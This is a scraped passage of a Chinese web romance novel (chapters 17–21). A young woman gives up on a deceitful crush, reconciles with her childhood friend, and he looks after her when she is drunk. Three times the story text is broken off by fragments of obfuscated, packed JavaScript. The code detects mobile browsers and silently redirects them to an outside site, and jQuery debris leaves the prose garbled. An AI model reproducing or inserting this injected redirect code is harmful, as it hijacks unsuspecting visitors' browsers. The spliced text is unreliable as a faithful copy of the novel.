虞千绾用了十足十的劲狠狠地扇到了常桦脸上,力道反震的她手心都隐隐发麻,垂下的手止不住的发颤,她急遽捏住不想让人觉察。 常桦的脸也被这猝不及防的一巴掌打到微微偏过去,额前碎发都是一震。 “真是个垃圾。” 虞千绾到底没忍住低骂了声。 “今日以后,我所参加的场合,你怕是连张入场券都拿不到。” 强撑着,伪装着高傲丢下这么一句,虞千绾转身就走,再不看常桦一眼。 她不想看,也不能看。 否则模糊的视线就会丢脸的暴露在他们面前。 来时摸索着走了好一会儿的小道,回去时只用了三分之一的时间。 每一步,虞千绾都迈得很大,只想快些远离这个曾经让她那么喜欢,如今却让她如此恶心的人。 就在距离小门不远的地方有一个半敞着门的储物间,里面空荡荡的没有人,虞千绾顾及不了太多,泪水已经彻底蓄满了眼眶濒临崩溃点,她迅速进到储物间,反手关上了门,背就靠在门后,这才敢放任眼泪连成串似的疯狂下坠。 豆大的泪珠砸到胳膊上的刹那,虞千绾心口更酸了,她又忆起那日商恪景落到她胳膊上的泪,眼泪掉得更快,心里对商恪景的愧疚之情也更甚。 哭咽着,颤抖着手,虞千绾艰难从包里拿出手机,短短一会儿的功夫满脸都是泪痕,手机面部识别都打不开,泪也总往手机屏幕上掉,把屏幕也给模糊了。 她只能用潮湿的手擦拭着潮湿的屏幕,但屏幕沾了水触控不灵敏,总在她努力绷着颤抖的手指输入密码时自动弹入别的数字,数不清删减重按了多少次虞千绾才终于拨出电话。 她很怕,怕商恪景不接,怕他真不理她了。 放在商恪景身上的情绪越过常桦,虞千绾连哭泣都闷下,紧抿着唇瓣紧张听着手机里的机械音,但刚刚哭得太厉害,身体一时间还没缓过来,胸膛控制不住地起伏着,鼻息间时而漫出声很轻很轻的抽噎。 听筒里传出的待接机械音响了很久,久到冷不丁出现一声嘟音她还以为是自动挂断的提醒。 但放下手机再查看时才发现,电话被接通了,手机屏幕上的时间正在一秒一秒地变动着。 虞千绾一怔,赶忙又将手机贴回耳边。 刚刚明明抑下的眼泪在这刻又放肆漫出,甚至比原先还要猛烈,委屈自责伤心各种情绪一同泄出,泪水根本克制不住,抽泣声也没能抑住,通过手机全数传入商恪景耳中。 她一句话没说却足以让商恪景缴械投降,“在哪?” 18. 第 18 章 依着微信里虞千绾发来的定位寻到她的位置,远远看到她单薄的身形时,商恪景心头很不是滋味。 她分明穿着一身精致漂亮的礼服,却蹲在破败黑暗的楼梯前,非常不合拍的场景,看起来就不该出现在一幕中。 虞千绾下半张脸埋在膝上,纤长浓密的发丝垂下遮掩住她的全部面庞,微颤的肩背透露着她仍在哭泣的信号。 哭了太久,虞千绾耳朵都有些发嗡,脚步声都要行至面前她才隐约听到,还不待她抬起头循声看去,发顶就被一只温暖的大手覆上,很轻很缓地在她发心揉了揉,“回家了,虞千绾。” 虞千绾的泪其实快要止住了,就是时不时还会挤出几滴,但感受到头顶的温暖,听到熟悉的声音,她的嘴唇又在瞬间瘪起,哭到发干的眼睛也一同噙上湿热,与不久前发现他接通她电话时的状态一样。 真奇怪,伤心的时候都不会流这么多的泪,为什么却在感知到关怀和宽慰的时候哭得一发不可收拾呢。 抬起头前,虞千绾用手背迅速在眼前抹了把,但却没什么用,因为她的手早被眼泪浸湿,没一处是干的。而且,真掀眸看到商恪景的那刻,情绪直接攀至顶峰,一滴浑圆的泪珠就这么毫无积蓄之意的从她眼眶里“啪嗒”坠下。 虞千绾不想被人看到自己的狼狈,和商恪景通完电话后就直接从就近的酒店后门跑了出来,边哭边往前直至这处看起来鲜有人至的荒废球场才停下,默默抱膝蜷缩在灯光照不到的昏暗角落里。 那会儿的她并不想被光亮刺着,她只想躲起来,逃避会儿现实。 但以最快时间赶过来的商恪景就这么半俯着身立在她面前,立在光亮下,他们的鞋头之间有着一道明显的明暗分界线。 然后,她看着商恪景蹲下身,微倾的上半身融入与她一样的昏暗中。 温热干燥的拇指指腹覆到她湿的仿佛能摁出水的眼尾,与她那汪湿亮热切的圆碌碌大眼睛交视,少见她如此看着自己,商恪景有些招架不住这份炽热,没几秒就率先别开了视线,口是心非的声音越说越轻,“虞千绾,你哭得好丑,妆都花了……” 想象中的回怼没有发生,指尖反倒感受到了更甚的湿意。 商恪景一时间有些手足无措,打小相识的他们嘴硬互呛惯了,有些话不太过脑子就那么顺口出去了。别人频频称赞的荣光和被别人瞧见会尴尬的窘态他们平常对待,习惯用行动而非话语表达关切,在对方面前丑态毕露都没那么不自在,却极不擅长面对对方的脆弱与眼泪。 还当是自己刚刚那句话说得她更加伤心,商恪景有些别扭的动了动唇,但没发出声来,刚欲忍下莫名的羞耻感直白夸她漂亮,身前身影一晃,虞千绾突然倾身拥了上来,直接将商恪景抱了个满怀。 毫不设防的动作,商恪景身形被撞得也是往后不自觉一仰,但很快就回过身稳住了身形,眼睛睁到最大。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16291990|181625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 从未有过的亲昵,商恪景呼吸都屏住了,属于她的那抹馨香却还在死命往他鼻腔里钻,商恪景浑身都感到一阵酥麻,手脚彻底的僵住了。 “……对不起。” 可怜的破碎音节自他耳畔哽咽着往心口渡,“对不起商恪景……” “我那天不该那么跟你说话,还害得你哭,我就该一早放弃常桦的。” “你跟我、跟我……”虞千绾边哭边说话,断句完全没法自控,哪口气喘不上来就断在那,缓到能说出话的时候再继续,“跟我和好行吗?” “我真的很珍惜你这个朋友,我想一直一直和你做好朋友。” “我保证,以后无论你说什么,我都会不仅相信你,还第一时间完全站在你这边,我们别再别扭了,好嘛?” 怀里是柔软的身躯,肩膀是她不断落下洇湿了衣料深入的热泪,可这么关切承诺的话落到心里怎么就那么让他难受呢…… 朋友,好朋友。 依旧只是朋友。 即使现在的她不知什么缘故看清了常桦决意放弃,他依旧不在她对异性的考量中。 心冷着,肢体反倒恢复了些控制力,没再那么僵持。 喉头艰难上下滚动几下,很寻常的抬手动作,商恪景却做得那样笨拙。 缓缓地、一下两下,他的掌心自虞千绾颈后抚到她背后,试图为她捋平些哭不成调的声,涩哑的声应:“……好。” 19. 第 19 章 虞千绾原本是没哭的。 但又喝了些酒后理智彻底被酒精吞噬,醉了个彻底。正值理性全无全是感性的阶段,好死不死,酒吧还放起了悲伤的抒情歌。 这一次,无需商恪景主动,虞千绾就自觉将脑袋埋进让她感到温暖的胸膛里呜呜呜抽噎了起来,双手紧紧揪着他腰际两侧的衣料,后来许是一直维持这个姿势挺累,她直接就将手环在了他腰后抱着,脸也埋得更深。 商恪景边抚摸着她的脑袋顺着她的发安慰着边想,她真是醉了,也是伤心透了,但凡身心还有些清醒在,她都决计做不出这种亲密举动的。这种主动挨靠过来长时间抱腰哭泣的依赖姿态与在楼梯前闹完别扭后的重逢拥抱并不相同。起码,他是这么认为,怀里的醉鬼显然没有这种认知。 商恪景一边有着这样明白的认知,一边却又眷念于她的靠近,矛盾的难受又希冀着。 哭着哭着,不知是累了困了还是醉迷糊了,总归当商恪景意识到怀里好一阵没传出动静的时候小心翼翼托起她潮湿的脸颊一看,人儿已经睡着了。 即使是睡着,虞千绾的模样看起来都惹人怜极了。 鼻尖和眼尾都因为大哭过泛着红,眼睫毛湿漉漉的,眉毛和嘴唇一皱一撇,脸颊也因为在他怀里埋着哭了太久闷出了些薄红,每一处都透着失恋的难过。 醉了睡了也有一点好。 她老实了不少,不会在穿外套的时候嫌丑嫌他眼光差。 商恪景就这么把她的脑袋又挨回自己胸口靠着,动作轻柔地擎起她胳膊传入袖管里。 一方面是怕吵醒她,另方面是想再在这样不知还会不会有的亲昵中久留一会儿、再一会儿…… 心思起了又起,根本压不住。 不知在脑海里回荡了多少个来回,商恪景到底是没闷住仗着她醉酒熟睡才敢出声:“……虞千绾,你得什么时候才能看到我?” 像是问询,又像是自身无奈至极的喟叹。 声调本就轻,在酒吧的热闹里更是被迅速淹没,淡到随风而散,好像没诉出过。 - 时至凌晨。 室外的风又冷峻了几分,让人有了秋的实感。 虞千绾那双光洁的小腿依旧暴露在空气中,流动的冷风一吹,睡梦中的身影不禁打了个寒颤,下意识往温暖处贴近、扒紧,嘴里含糊咕哝了句:“冷……” 商恪景不敢乱动生怕逾矩的手这才又用了些劲将她抱得再紧些,身子也尽可能地下压为她挡住些迎面袭来的风,步伐亦加快往车的方向去。 酒吧离校外小区很近,十分钟左右的车程。 虞千绾没在车后座安睡一会儿就又被抱起离开温暖的环境进到冷风中,接连两次,她昏沉的脑袋都被刺激地短暂清醒了一刹。 眼皮一睁,入眼已是熟悉的环境,人有些懵地嘀咕了句:“都到家了……” “嗯?就要到了。” 商恪景还挺意外她突然的声,低头的同时撑着她脑袋的大臂微微向上又托了些方便他看清她的脸,“醒神了?” 很显然,他想多了,某人脸一仰朝他嘿嘿一笑,极其莫名的傻气行为,打了商恪景一个措手不及。跟着头一歪,脸又朝着他的胸膛阖眼安睡了。 一个人到底怎么会可爱到这个程度,喝醉都这么讨人喜欢。 商恪景不知道,反正眉眼间因为她这忽然的憨笑一同染上笑意,喉间也没绷住漾出声低笑。 进到所住的那栋楼,室外的冷意瞬间被严实的墙抵挡住,虞千绾一直被冻着的小腿终于得以拯救。 电梯恰就停在一楼无需多等,商恪景曲指摁了下,电梯门开了又关,很快载着他们去到15层。 商恪景抱着虞千绾轻车熟路去到她家门口,却在输密码这步顿住,刚欲微抬的手迅速下落攥起。 第一次公主抱女生,商恪景没什么经验,手上有些笨拙。何况还是心仪的女生,动作更是小心小心再小心,慎之又慎。抱松了怕她稍一动就摔着她,抱紧了又怕勒着她,总怕她不舒服。而且她还穿着裙子,抱起来得多加注意,否则容易走光,他还得帮她压住裙摆,可又不能压太多裙料,不然太往上可能会误碰到不该碰的地方。 一个简单的动作,商恪景脑子里却想了很多。 所以抱着虞千绾的这一程,商恪景基本就维持着抱起她那瞬间的动作不再多动一下,手腕连着的在使劲的小臂大臂那块都要僵住,渐渐有些发酸。 饶是如此,他还是无比眷念当下的时光,并不想这么快就进到家里放下她。 她这么安静,这么亲昵的在他怀里。 恐是余生都不会再有一次。 而且,此时熟睡的她什么都不会看到,他也不用伪装什么,可以大胆地直视她,用一双明明白白表达着喜欢的眼神。 坚持到确实要没力,怕让虞千绾感到不舒服,商恪景这才开了门进到她家里。 两人虽然熟,但毕竟男女有别,卧室这种私密地方,他们还是很少进去的,尤其商恪景对虞千绾,大多时候就站在门口。时而就算进去也是对方提的,去帮忙拿个东西或做什么搭把手,很快也就出来。 可当下虞千绾喝醉了没办法,商恪景总不可能把她喊起来让她自己走进去,何况就算把她喊醒,她能不能走条直线都未可知。 商恪景目不斜视地抱着虞千绾进到卧室,打算把她放下盖好被子就离开。 哪知就在把虞千绾放在床上的那刻,她不知怎的,整个身子一惊突然睁开了眼。 不知她究竟是清醒还是醉酒状态下,商恪景一时间绷着弓着的身子也不敢动,想着以她刚刚的姿态很可能转头寻了个舒服姿势又继续睡了,他出声反倒吵着她。 但他还不能走——她身上还穿着他的西装外套,让她穿着礼服睡觉已经够不舒服了,要是连西装外套都不脱,这一夜睡得怕是难受至极。 两人视线就这么无声地一上一下对了半分钟。 虞千绾也不知在想什么,冷不丁伸手在商恪景脸上掐了下,不轻的一下,他始料未及地偏头躲开,痛嘶了声,暧昧氛围也瞬间消散,“虞千绾,我费劲给你弄回来,你就这么对我?” 圆润的眼睛眨了眨,虞千绾拽着被子安心躺在床上,开口的声还混着些醉酒的缥缈感,“我还以为我做梦呢。” 在今日之前,商恪景不止一次地听虞千绾跟他说过她做梦梦到常桦的事,她面上一副忸怩样,说的话做的梦可不忸怩,好些次梦到和常桦接吻。 虽然日后常桦这人可能就从他们的生活里消失了,但听过太多个日夜,商恪景一时间还没习惯虞千绾放弃常桦这事,下意识地就要说:“你做梦能梦到我?你从来都是——” 话到这,他想起来了。 紧急止住。 幸而虞千绾没反应过来,声音踩着他的尾音就出,“当然会梦到你,这两天跟你闹别扭就梦到你说要跟我绝交,以后都不跟我玩了。” 商恪景有些不想说话。 怎么梦到他就是绝交,梦到常桦就是接吻。 “还梦到我怎么找你和好你都不同意,送你的信你原封不动放回了我家玄关,给你发的短信你也总是不回,说好晚上回来吃晚饭的也没回,一直一直在躲着我……” 虞千绾声音越说越小,鼻头轻轻吸了吸,似有些委屈到要哭的意思。 商恪景都不知道虞千绾到底说的是梦、现实还是醉话,但那天虞千绾给他发消息说他回来跟她说一声她请他吃饭,他后续确实没回来。 自知理亏,商恪景同她解释,“没有故意躲着你。是薄正卿,他玩机车摔着了,住院了,他不敢跟他爸妈说,我在那陪着的。” “至于那条消息……我回嗯还故意加个句号是想让你多哄我几句的……因为看到你主动发消息过来我还是挺开心的。” 主动向她剖析自己的情绪,商恪景还有些别扭,现在和好去说那些感觉有些矫情,“哪知道你就回了个表情包,也不多哄我……” “我看你还在账号上按时发常桦的宣传视频,就以为你还放不下他,想着这么回来跟你去吃饭也没什么意思,根本问题还是没解决,聊到还是容易起冲突。正好当时薄正卿情况严重了起来,有些轻微脑震荡,我就留在医院住了一晚。” “嗯?账号?” 虞千绾就像是听到什么天大的敏感词,本来都裹好被子躺平了,突然就要起来。 但她本来就没多清醒,这么一动,视线和脑袋都是一阵天旋地转,就连胃中都好像在翻涌,她突然就呕了下,商恪景紧急拉过来垃圾桶,但虞千绾没吐出来,难受的在那将手握拳死命往胸口锤着。 她越捶越重,商恪景紧急攥住她的手,把她重新按回床上躺好,“别乱动,我去给你弄杯蜂蜜水喝,有什么都等我回来。” 跟喝醉的人沟通实在困难,就算虞千绾应了,商恪景都不知道她是真听进去了还是喝醉酒在胡乱哼唧。 他只得在踏出卧室前一步三回头看她状态,嘴上反复叮嘱,出门时将卧室门敞到最大以便有任何动静能第一时间落到他耳中,踏出卧室后小跑着以最快速度兑好蜂蜜水回来喂给虞千绾喝。 虞千绾人生第一次喝醉,全然陌生的体验让她觉得自己难受极了,头一动就犯晕,就连被商恪景托起后脑勺喂水的时候都缓了几秒。 肚子里酒水太多,虞千绾其实是喝不太下去水的,但含了小半口蜂蜜水后突然觉得嗓子很舒服,冰凉的胃里也暖暖的,便又浅浅地抿了几口,脑袋嗡嗡的胀痛感好像确实被驱散了些。 商恪景见她闭着眼又想睡的模样,赶忙将水杯放在床头柜上,转而帮她解着西装扣,趁她还没完全睡着的时候让她配合着侧起些身迅速脱掉了外套。 给虞千绾盖好被子后,商恪景又将蜂蜜水往床头柜的另边放了放,防止离太近她翻身时一个不注意挥上去弄洒。 “睡吧,要是难受记得给我发消息,我就先回去了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16303645|181625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 虞千绾嘴唇微动,轻的像呓语般说了什么,商恪景没听清,“什么?” 他凑上耳朵细听,只闻她说:“手机……” 商恪景这才想起她的包还一直被自己挂在身上,抱她的时候怕硌着她,所以包没挂在前面,而是贴在他背后,里头就一个手机和口红,重量太轻,他忙起来都忘了这茬。 脱下包包,拉开拉链拿出手机,商恪景还点亮手机屏幕查看了眼电量,还有百分之七十多,够用。 他这才安心将手机放在床头,“手机也给你放这了,不舒服就给我打电话。” “嗯~” 虞千绾又哼出声抗拒的声,商恪景拿她没辙的笑了声,但又很难不被她醉酒后的黏糊腔调勾到,心口软软化化的,就连他的腔调也被感染到仿佛微微有些波浪号,“怎么了?” “账号,删掉……” 虞千绾眼睛睁开也有些发晕,短暂看了商恪景一瞬又合上,“我这几天都没用短视频APP,忘记之前自动定时的那些视频了,你帮我全都删掉吧,我不想再有人因为我喜欢上他,那真是又多祸害了一个人……” “你确定?” “嗯……” 虞千绾直接把手机密码告诉了商恪景,脑子里还有意识的最后一件事处理完,她彻底没了劲,“头好晕,我睡了。” 虞千绾确定放弃后的果决比商恪景想象的还要甚,他自然高兴于她的举措,可真点入短视频APP,看着一串99+的未读评论和点赞,以及她花了许多时间剪辑的视频养成的号,他心情一时间又有些复杂。 每一条视频都代表了一个时期的她。 商恪景看着视频,脑海里甚至都能对应上她剪辑时的碎碎念,或是剪辑完后的炫耀,总归都是笑脸。 商恪景最终却还是没直接摁下删除键,而是选择了隐藏。 酒后的话,他不知她是否说的时候清醒着,不知她明天起来会不会后悔。 如果不后悔自然最好,她大可以自己亲自删除,也亲自宣告了一段关系的结束。 如若后悔……也都随她。 毕竟是她的产物,一切选择都该由她。 这一天,商恪景其实想象过很多次。 他也知道虞千绾作为付出更多用情更深的那一方肯定会难受,但真亲眼看着她难受成这样,商恪景心绪也远比想象的更沉。 灭了灯,轻手轻脚关了门回到自己家。 率先映入眼帘的却是一个放置在玄关柜上的包装精美的礼物盒。 商恪景一怔,连门都没来及关就去拆。 里头安静放置着一封信,他这才知虞千绾那话不是醉话,她是真的给他写了信。 心脏又开始鼓噪。 商恪景极其精细地拆开信封,生怕弄皱一点。 但比里面的信先露出的是一张褶皱得不成样,且明显因为过去太多年有了岁月痕迹变黄的小纸片。 上头的字迹也颇为稚嫩。 ——【我,商恪景,正式向虞千绾道歉,并欠她一个要求,她可以在任何想用的时候在反面写任何要求,就算被我哥打我也会去做! 期限:1000万万年!】 八岁那年的虞千绾留着可爱的齐刘海,刘海微微长长有些遮眼,商恪景拿起剪子就说帮她剪,他寻思就把长长的那一小截刘海剪了不就得了? 虞千绾起初是不同意的,但看商恪景说得一本正经,想想好像也是,就同意了。 最后不出意外,刘海被剪得像狗啃的一样。 虞千绾大哭一场,还在家门口划了条禁止全世界最讨厌的商恪景进入的线。 这对小朋友来说,可是一件非常非常严肃的事情,更何况还被好朋友称之为全世界最讨厌的人。 商恪景吓坏了,用所有零花钱给虞千绾买小礼物买零食,哄了好久虞千绾却还不想和他和好,他没招了,天天在家伤心地哇哇哭,最后他在哥哥的引导下想出一招,把自己的头发剪残了去找她,虞千绾才终于没绷住在他面前露出笑,虽然是被丑得滑稽笑的,但总归是笑了。 商恪景赶忙央着求和,这张小纸条便在幼稚的年岁交谈间出现了。 这么多年过去,商恪景虽能清楚记得那件事,两方家长亦时不时以此为笑谈,但对这张纸条的记忆已有些模糊。 这张纸条还是彼时急于向虞千绾表态的商恪景顺手从某个书页的边缘撕下来的,小小的、不太规则的一张,他怎么都没想到虞千绾会留了这么多年。 而今,她在纸条的背面写——【虞千绾和商恪景不可以再闹矛盾】 后头还跟了个哭哭脸的简笔画。 “好幼稚啊虞千绾。” 商恪景对着纸条低喃,语调却分外上扬欢快。刚还有些复杂矛盾的脸上现在全是笑。 上一秒蛐蛐过虞千绾幼稚的商恪景,下一秒很不幼稚地跟拿宝贝似的拿着这张纸条在家里到处比对,思考放在哪里珍藏比较好。 20. 第 20 章 有生以来第一次喝醉,加之睡前哭了那么久,身心俱疲,虞千绾一觉直接睡了十个小时出头。 幸而昨晚喝的酒度数都不高,她醒后并没感觉到太多宿醉后的不适,就是脑袋有种淡淡的迷糊闷胀感,但一时间分不清究竟是睡太久还是醉酒所致。 除此外,虞千绾还有些断片,但又没完全断片,记忆碎片化,朦朦胧胧对某些场景有记忆,就像是一页跟着一页弹出的PPT,有些弹出的新一页与上一页有关联,有些却是直接开启了新章。 但最糟糕最直观的还是虞千绾的眼睛。 前两天乍然从商恪景那得知常桦的事后又和商恪景闹别扭,爱情友情双受挫,她本就默默流了不少眼泪,使得眼睛又涩又疼的有些敏感脆弱,结果昨晚和凌晨的那一番爆哭彻底让她的眼皮肿到了前所未有过的程度,眼睛内也有着一阵一阵的刺痛感。 眼皮肿着,虞千绾还碰不得。 一碰更疼。 她只能要碰不碰地虚虚将手掩在眼前,另手摸过手机,眯着眼睛给商恪景发消息求救。 [SOS] [醒了嘛醒了嘛] [能不能用毛巾包点冰块来给我啊] 商恪景那边秒回:[醒了] [怎么?] [要冰块做什么?] 仅是看到对话框的左边迅速弹出新的消息,虞千绾还没看清具体内容,唇角就已经漾开些柔柔的笑了。 这样真好,再不是前些天联系不上他,就算联系上也只是寥寥几句的僵持状态了。 [眼睛肿了,肿好大,急需冰敷拯救一下] 商恪景:[我这边有冰袋,现在给你送去] 虞千绾直接回了个跪下感恩的表情包就顺手将手机灭了屏放在一旁。 屋内一片漆黑,刚睡醒的眼睛本就不适应手机刺出的光亮,何况她这眼睛还正在虚弱期,连稍微睁大些都嫌疼。 她就闭着眼,躺在床上等着商恪景。 屏蔽了视觉,听觉就变得格外灵敏。 虞千绾竖着耳朵仔细听着商恪景开门,关门,朝她卧室走近的动静。 只是这么听着,她就感觉周身舒展,心口暖洋洋的。 “咚咚咚。” 商恪景先叩了叩门再按下门把手缓缓推开。 虞千绾虚眯着眼侧首朝门的方向看去,本就模糊的视线因泄入的光亮短暂花了刹那,然后聚焦清晰起来,逐渐适应的柔和室外光与商恪景那张无比熟悉的脸一同出现在她狭窄的视野中,几乎将她的视野占满。 见她还躺在床上似有不适的状态,商恪景问了句:“我进来了?” 虞千绾嗯了声。 屋内没开灯,窗帘也拉着,仅有门外泄入的光亮,商恪景便在进门时将门开得更大些,以便照亮屋内方便动作。 商恪景一身睡衣,踩着拖鞋,头发微微有些凌乱,显然也是收到了虞千绾的消息才从床上起来的。 但手上拿着的东西可不粗糙,一手拿着冰袋和毛巾,一手拿着眼药水,细致给她准备好,“还给你带了瓶眼药水,用吗?” “用,但我先冰敷吧,不然感觉眼睛都要睁不开了。” “行。” 商恪景弯腰先将眼药水放在了床头柜上,另手将毛巾包裹在冰袋外再递给虞千绾,“这毛巾全新的,我没用过。” “嗯……” 虞千绾心口有些翻涌,她也不知道是因为最近自己刚失恋有些脆弱敏感还是和商恪景闹过别扭后更知道珍惜,总归曾经许多他们常干的事,她现在却觉得弥足珍贵。以前,她当然也很珍惜他们的感情,但他们实在认识太多年,很多事都要当做下意识的习惯了,极少会有这样矫情的感怀。 冰袋刚裹在毛巾里,冰意还未彻底沁到毛巾外,只有细微的冰感,放在眼睛上不至于太冰。但虞千绾的眼皮太肿,毛巾或多或少也会和肿胀的皮肤有些摩擦,刚贴上的前半分钟,她还是痛到接连倒抽了好几口凉气,后来适应便好了些,静静闭目冰敷。 见她手估计是一直扶着毛巾扶累了,开始愈发频繁的换位置,商恪景坐在了床边,帮她扶稳,“我来吧,你就躺着,要是不舒服跟我说。” 心口的翻涌更甚,虞千绾到底没忍住把心底里觉得有些矫情的话吐出,“商恪景,你简直是全世界最好最好的朋友。” “我当初一定是脑袋坏了,放着好朋友不珍惜,把时间花了那么多在一个渣男身上。” 她这么直截了当地提到常桦,商恪景反倒怔愣了下。 从昨夜到今日,甚至是之前每每想象她决定放弃常桦的时候,商恪景一直都抱着给她时间的心态。 毕竟他们都是偏感性的人,对待真心爱重的人其实不会太讲道理,只要不是什么太严重的、太伤天害理的事情,他们都会选择站在亲近人的身边陪伴。 正因为知道虞千绾性格是这般,所以商恪景打算这段时间都不会主动在虞千绾面前提起常桦,给她默默消化的时间,哪知她这么快就率先提到了常桦。 话在嗓间滚过了几个来回,商恪景最终还是没多聊常桦,只用简单八个字浅浅揭过他陪着她一起经历过的她与常桦的这四年,“你才知道,重色轻友。” 眼睛冰敷着不能睁开,没看的没玩的,虞千绾话匣子就这么打开,“这事我确实做得不对我认,但是你也别把话说太早,等你以后有了喜欢的人说不准比我还过分。当然——” 虞千绾话锋一转,“不希望你遇到一个他那样的人。” 商恪景毫不担心的戚了声,“我眼光比你好多了。” “知人知面不知心。” “真陷到爱情里,一切都仿佛被添上了层滤镜,看对方什么都是好的。” 虞千绾一副过来人的调调这么说。 商恪景听着不爽,“虞千绾,咱俩都是母胎单身,你教育谁呢?” 虞千绾轻嗔:“我这不是自己受了伤长了教训第一时间想告诉你,让你别步我的后尘嘛!好心没好报。” “我喜欢的人,人好面好心也好。” “哎哟,商恪景你看看,你就是个恋爱脑,那个人还没出现,你就这么夸赞了?” 商恪景看着虞千绾揶揄的嘴脸突然感到好笑,某些人完全不知道她就是个人。 这么想着,商恪景更加理直气壮,“对啊。只需你当恋爱脑,我当不了?” “别说了。” 虞千绾突然做了个攥着手往胸口虚拟插刀的姿势,“恋都没恋上,还恋爱脑呢,不过幸好没恋上,否则要成案底了。” 听她一句说得比一句狠,一句比一句直白,商恪景这才深入些去提,但声音比之之前的交谈声略轻了些,“你这……这么快就完全放下他了?没喜欢了?” “没有喜欢了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16319668|181625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这五个字虞千绾回答的非常迅速非常果决,“但说放下,确实还不能那么快,毕竟这么多年,我确实心里面还有些难受,或许现在身边有你陪着讲着话还挺理智清醒的,到晚上的emo时间一个人陷在情绪里可能还是会难受,但这个难受只是对我自身,心疼我自己的喜欢,我放在他身上的精力,我的付出。如果他一开始就拒绝我,我肯定不会这么想,毕竟感情哪就那么顺利两情相悦的,但他在欺骗我。尤其——” 虞千绾话语一顿,声调也微微轻淡了些,“昨晚亲耳听到他对周映灵说的那些话后,我已经对他整个人彻底失望了。真正下头的那个瞬间是,他意识到一切都是周映灵做的局还想来拉我狡辩的那刻,我感觉这个人简直太会装太不要脸了,都这样了,他居然还想利用我,我才真正意识到我之前给他留下的印象有多好骗单纯,否则他也不能这么明目张胆,这么的……让人反胃。” “而且,我听着他拿对付我的那套去对付周映灵却全都没用的时候,我觉得挺丢人的,周映灵一个字都没信,我却信了这么多年。” “总之,我确定我不喜欢他了,至于别的情绪可能还需要些时间才能彻底消解。” “很棒啊虞千绾同学,你比我想象的走出来的速度还要快。” 虞千绾突然垮起个哭脸,“你别信我太多,我现在清醒着这么说,晚上emo情绪上头,我可能又绷不住想哭了。很多时候,我并不能说到做到。” 商恪景看她两级反转的样子,没耐住声轻笑,“那就咱俩天天待在一起呗,等到你是在困了想睡觉了我再走,这样你就没什么独自emo的时间了。” “那当然好啦,作为报答,这段时间的吃喝我都包了。” “行,千绾总豪气。” 两人同时笑出声。 虞千绾心口闷着的那股郁结之气也跟着笑声和交谈在无意识间一点点散去。 冰敷不能太久,可能会冻伤。 商恪景估摸着时间差不多就拿下了冰袋,没再给虞千绾敷眼睛。 眼睛依旧有些不舒服,但比刚起床那会儿好多了。 虞千绾拿过眼药水,往左右眼里各滴了一滴,然后闭眼又缓了几分钟。 再睁开眼,不适感已经被降到最轻了。 见她眼睛刚好些就要拿手机玩,商恪景轻啧了声,“虞千绾你网瘾少女啊,眼睛不舒服少看电子产品。” “我看一眼。” 虞千绾依旧拿起,要面子地咕哝,“昨天被周映灵看到那一幕,还不知道怎么笑话我呢,我看看她有没有再给我发短信,再看看有没有人已经知道给我发微信了。” 商恪景无声闷笑。 出奇的,虞千绾手机里干干净净。 没有昨天那条未知号码发来的短信,也没有好友从旁人那听来这个转了几次的瓜偷偷告诉她。 拿起手机,虞千绾脑海里倒是又跳出一帧原本遗忘的画面,“诶,我昨天是不是让你帮我删掉账号里面常桦的视频了?” “嗯,但我没删,给你隐藏了。” “你干嘛不删?” “怕你今天后悔。” 虞千绾一时间有些语噎,“我给你留下的印象这么差吗?他都这么对我了,我还后悔什么?” “那你自己删。” 商恪景朝她手机屏幕里的微信页面抬了抬下颚,“正好,先从微信开始。” 21. 第 21 章 虞千绾又是一噎。 商恪景睐来一眼,用一种轻飘飘的语调阴阳怪气,“干嘛?还没到深夜的emo时刻就狠不下心了?” 虽然很不想承认,但虞千绾确实在听到商恪景提及删除常桦微信时,脑海里冒出了很多情形。 就比如当年常桦的微信虞千绾只是随大流加上的,加微信的时候她仅当这是个随手的动作,哪里会想到这么小这么小的一个小动作却像蝴蝶效应似的牵扯出后面这么多年的事。以及,这四年间,她换了好几个手机,但每次换手机的第一件事就是检查和常桦的微信聊天记录,生怕有些没转移到新手机上丢了与他的回忆。 不过这些都与现在的常桦无关。 很多时候,放不下的人或事,并不是当下的,而是记忆里的那些朦胧的、带些自我滤镜遐想的美好。很多人却傻傻地抱着回忆走在未来中无所觉察,还用记忆给未来赋魅。 虞千绾觉察到这点,所以今日商恪景即便不提,她也会在24小时内删除常桦的所有联系方式,但她会给自己留一定的时间回顾一下过往,和自己的经历告别,不会这么快。大抵也是有些不舍找理由再多停留一会儿的情绪在的,毕竟第一次喜欢人却以如此惨淡的结局收场,她的一颗热忱之心被捶打的七零八碎。 可有了商恪景这番话,根本遭不住激将法的虞千绾被猛推了一把,怕被笑话的她当即嘴硬做出决定,“删就删。” “是吗?你该不会说一套做一套吧?” 